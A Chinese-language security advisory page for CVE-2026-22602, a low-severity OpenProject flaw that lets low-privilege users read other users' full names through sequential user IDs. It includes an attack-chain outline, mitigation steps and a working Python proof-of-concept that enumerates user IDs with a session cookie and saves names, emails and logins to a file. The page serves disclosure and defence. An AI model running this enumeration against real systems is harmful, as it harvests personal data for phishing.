IPBUF安全漏洞报告
English
CVE-2026-22602 CVSS 3.5 低危

CVE-2026-22602 OpenProject低权限用户信息泄露漏洞

披露日期: 2026-01-10

漏洞信息

漏洞编号
CVE-2026-22602
漏洞类型
信息泄露
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
OpenProject

相关标签

信息泄露访问控制绕过OpenProject用户枚举Web应用安全CVE-2026-22602

漏洞概述

OpenProject是一款开源的基于Web的项目管理软件。在16.6.2版本之前,存在一个信息泄露漏洞,允许低权限已登录用户查看其他用户的全名。由于用户ID是按顺序可预测分配的(例如1到1000),攻击者可以通过遍历这些URL来提取所有用户的完整名单列表。该漏洞的利用不仅限于Web界面,攻击者还可以通过OpenProject API以自动化方式批量获取用户的全名信息。攻击者可以利用收集到的用户信息进行进一步的社会工程攻击、钓鱼攻击或针对性的入侵活动。此漏洞的严重程度被评定为低危,因为泄露的信息本身不包含敏感凭据或财务数据,但结合其他信息可能造成更大的安全风险。漏洞已在16.6.2版本中得到修复,管理员应及时更新或手动应用补丁。

技术细节

该漏洞的根本原因在于OpenProject的访问控制机制不完善。在用户资料页面(如/users/{id})或API端点(如/api/v3/users/{id})中,系统未能正确验证当前登录用户是否有权限查看其他用户的敏感信息(包括全名)。由于用户ID采用顺序递增的方式分配,攻击者只需从ID=1开始遍历,就能访问所有用户的个人资料。攻击者可以通过以下两种方式利用此漏洞:1) 直接访问Web页面 https://target.com/users/{id};2) 调用API接口 https://target.com/api/v3/users/{id} 获取JSON格式的用户数据。API调用虽然需要认证,但任何注册用户都具有此权限,无需管理员权限。攻击者可以使用简单的脚本自动化整个数据采集过程,在短时间内获取大量用户信息。修复措施包括:添加权限检查逻辑,确保只有特定角色(如管理员)才能查看用户全名,或对API响应进行脱敏处理。

攻击链分析

STEP 1
步骤1
攻击者获取OpenProject的低权限账户(如普通注册用户)
STEP 2
步骤2
攻击者通过Web界面或API接口(如/api/v3/users/{id})尝试访问其他用户资料
STEP 3
步骤3
由于系统未正确限制访问权限,攻击者成功获取目标用户的全名信息
STEP 4
步骤4
攻击者编写脚本自动化遍历用户ID(从1开始递增),批量提取所有用户的全名
STEP 5
步骤5
攻击者将收集的用户信息用于社会工程攻击、钓鱼活动或进一步入侵

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-22602 PoC - OpenProject User Information Disclosure # Author: Security Researcher # Target: OpenProject < 16.6.2 import requests import json import sys from concurrent.futures import ThreadPoolExecutor, as_completed def get_user_info(base_url, user_id, session_cookie): """Fetch user information by user ID""" headers = { 'Cookie': session_cookie, 'Accept': 'application/json' } # Try API endpoint first api_url = f"{base_url}/api/v3/users/{user_id}" try: response = requests.get(api_url, headers=headers, timeout=10) if response.status_code == 200: data = response.json() if 'name' in data: return { 'id': user_id, 'name': data.get('name'), 'email': data.get('email', 'N/A'), 'login': data.get('login', 'N/A') } except requests.RequestException: pass return None def main(): if len(sys.argv) < 3: print("Usage: python cve-2026-22602.py <target_url> <session_cookie>") print("Example: python cve-2026-22602.py https://openproject.local 'session_id=abc123'") sys.exit(1) base_url = sys.argv[1].rstrip('/') session_cookie = sys.argv[2] print(f"[*] Starting enumeration on {base_url}") print(f"[*] Target: OpenProject < 16.6.2") print(f"[*] Vulnerability: Information Disclosure - User Full Name Disclosure") print("-" * 60) users = [] # Enumerate users from ID 1 to 100 (can be extended) with ThreadPoolExecutor(max_workers=10) as executor: futures = {executor.submit(get_user_info, base_url, uid, session_cookie): uid for uid in range(1, 101)} for future in as_completed(futures): result = future.result() if result: users.append(result) print(f"[+] Found User ID {result['id']}: {result['name']} ({result['login']})") print("-" * 60) print(f"[*] Total users enumerated: {len(users)}") # Save results with open('enumerated_users.json', 'w') as f: json.dump(users, f, indent=2) print(f"[*] Results saved to enumerated_users.json") if __name__ == "__main__": main()

影响范围

OpenProject < 16.6.2

防御指南

临时缓解措施
如果无法立即升级到修复版本,可采取以下临时缓解措施:1) 限制用户注册功能,仅允许受信任的用户创建账户;2) 在Web应用防火墙(WAF)中配置规则,限制对/users/{id}和/api/v3/users/{id}路径的频繁访问;3) 考虑暂时禁用API的用户查询功能或实施严格的访问控制;4) 监控日志中的异常访问模式,及时发现和阻止批量数据采集行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表